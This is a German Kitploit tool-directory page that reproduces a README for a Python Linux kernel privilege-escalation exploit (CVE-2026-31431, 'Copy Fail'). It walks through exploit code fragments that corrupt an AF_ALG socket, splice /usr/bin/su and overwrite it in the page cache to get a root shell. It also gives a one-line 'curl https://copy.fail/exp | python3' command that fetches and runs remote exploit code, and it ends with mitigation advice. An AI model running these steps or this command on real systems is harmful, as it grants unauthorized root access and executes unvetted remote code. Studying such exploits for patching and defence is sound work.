Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-31431 — Python-Exploit für lokale Privilegieneskalation im Linux-Kernel (CVE-2026-31431) unter Verwendung von AF_ALG-Socket-Zustandsverwirrung und splice(), um beliebiges Dateischreiben und Root-Zugriff zu erreichen. | Kitploit
Tools/GitHubGitHub/abhishekhargan/cve-2026-31431
Privilege EscalationExploit-FrameworksSchwachstellenanalyseExploitationLernen & BildungBinary-Exploitation
GitHubabhishekhargan/cve-2026-31431

CVE-2026-31431

Python-Exploit für lokale Privilegieneskalation im Linux-Kernel (CVE-2026-31431) unter Verwendung von AF_ALG-Socket-Zustandsverwirrung und splice(), um beliebiges Dateischreiben und Root-Zugriff zu erreichen.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
6vor 4 MonatenNoch nicht geprüft

CVE-2026-31431: „Copy Fail“ – Lokale Privilegieneskalation im Linux-Kernel

📢 Haftungsausschluss

Dieses Repository dient ausschließlich Bildungs- und Cybersicherheitsforschungszwecken. Der Exploit-Code wird analysiert, um die zugrunde liegende Schwachstelle zu verstehen, das Patchen zu erleichtern und Verteidigungsstrategien zu entwickeln. Verwenden Sie dies nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.

📝 Überblick

„Copy Fail“ ist eine kritische Schwachstelle zur lokalen Privilegieneskalation (LPE), die im Linux-Kernel gefunden wurde. Sie ermöglicht einem nicht privilegierten Benutzer, root-Zugriff zu erlangen, indem ein Fehler in der Art und Weise ausgenutzt wird, wie der Kernel Speicheroperationen zwischen dem Dateisystem und der Asynchronen Kryptografie-API (AF_ALG) behandelt.

⚙️ Funktionsweise (Technischer Deep Dive)

Der bereitgestellte Python-Exploit nutzt eine Kombination aus obskuren Linux-Syscalls und Schnittstellen, um einen beliebigen Out-of-Bounds-Schreibzugriff (OOB) im Kernel-Speicher zu erreichen, der anschließend in einen beliebigen Dateischreibzugriff auf der Festplatte umgewandelt wird.

Hier ist die schrittweise Aufschlüsselung der Angriffskette:

1. Initialisierung der AF_ALG-Schnittstelle

root@kitploit:~
a=s.socket(38, 5, 0)
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))

Das Skript erstellt einen AF_ALG-Socket (Familie 38). Diese Schnittstelle ermöglicht es Anwendungen im Benutzerbereich, kryptografische Operationen an den Kernel auszulagern. Es fordert speziell eine AEAD-Verschlüsselungskette (Authenticated Encryption with Associated Data) an, die HMAC-SHA256 und CBC-AES kombiniert.

2. Zustandsverwirrung über setsockopt

root@kitploit:~
v(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)

Das Skript manipuliert den internen Zustand des Sockets mithilfe von setsockopt. Die hexadezimale Nutzlast und das None-Argument sind sorgfältig gestaltet, um eine Randbedingung oder einen Integer-Überlauf in der Pufferverwaltung der Kernel-Krypto-API auszulösen. Dies „lässt“ die Kopieroperation sicher innerhalb des Kernels fehlschlagen und hinterlässt den Socket in einem inkonsistenten, verwundbaren Zustand.

3. Zero-Copy-Datenübertragung mit splice()

root@kitploit:~
n=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)

Dies ist der Kern des Exploits. Anstatt Daten in den Benutzerbereich zu lesen und zurückzuschreiben, verschiebt splice() Daten direkt zwischen Dateideskriptoren vollständig im Kernel-Bereich. Das Skript öffnet /usr/bin/su (eine SUID-Root-Binärdatei) und versucht, Daten daraus in den falsch konfigurierten AF_ALG-Socket zu splicesen. Da der Socket-Zustand in Schritt 2 beschädigt wurde, schlägt die Grenzprüfung des Kernels während dieser Zero-Copy-Operation fehl.

4. Die Nutzlast-Injektionsschleife

root@kitploit:~
e=zlib.decompress(d("78da..."))
while i<len(e):c(f,i,e[i:i+4]);i+=4

Das Skript entpackt eine komprimierte Nutzlast (wahrscheinlich ein kleiner Shellcode oder ein modifizierter Binär-Block). Es tritt in eine Schleife ein und sendet diese Nutzlast 4 Bytes auf einmal in den beschädigten Socket-Puffer. Aufgrund des fehlgeschlagenen Grenzchecks landen diese 4-Byte-Schreibvorgänge an beliebigen Offsets im Page-Cache des Kernels – dem exakten Speicherbereich, in dem /usr/bin/su geladen ist.

5. Privilegieneskalation

root@kitploit:~
g.system("su")

Durch das Überschreiben bestimmter Befehlszeiger oder Logikprüfungen innerhalb der im Page-Cache gespeicherten Version von /usr/bin/su ändert der Angreifer das Verhalten der Binärdatei. Wenn system("su") aufgerufen wird, führt es die modifizierte SUID-Binärdatei aus. Die Binärdatei läuft als root, überspringt jedoch die standardmäßige Passwortprüfung und bringt den Angreifer direkt in eine Root-Shell.

6. Exploit

Laden Sie copyfail.py herunter und führen Sie es auf Ihrem Linux-System aus, ODER verwenden Sie die folgende curl-Anfrage für einen schnellen Start

root@kitploit:~
curl https://copy.fail/exp | python3 && su
id

https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e

🎯 Auswirkungen

  • Schweregrad: Kritisch
  • Angriffsvektor: Lokal (erfordert Ausführung auf dem Zielsystem)
  • Auswirkung: Vollständiger Root-Zugriff, Umgehung aller Dateiberechtigungen sowie SELinux/AppArmor-Profile.

🛡️ Minderung & Verteidigung

  1. Kernel patchen: Wenden Sie die neuesten Sicherheitspatches Ihrer Linux-Distribution an (Canonical, Red Hat, Debian usw.).
  2. AF_ALG einschränken: Wenn kryptografische Auslagerung von Ihren Workloads nicht benötigt wird, deaktivieren Sie das Kernel-Modul af_alg, indem Sie blacklist af_alg zu /etc/modprobe.d/blacklist.conf hinzufügen.
  3. Seccomp/AppArmor-Profile: Beschränken Sie die Fähigkeit nicht privilegierter Benutzer, splice(), socket() (insbesondere Familie 38) und setsockopt() mithilfe strenger Seccomp-Filter zu verwenden.

📚 Referenzen

  • https://xint.io/blog/copy-fail-linux-distributions#the-exploit-4
Tool herunterladen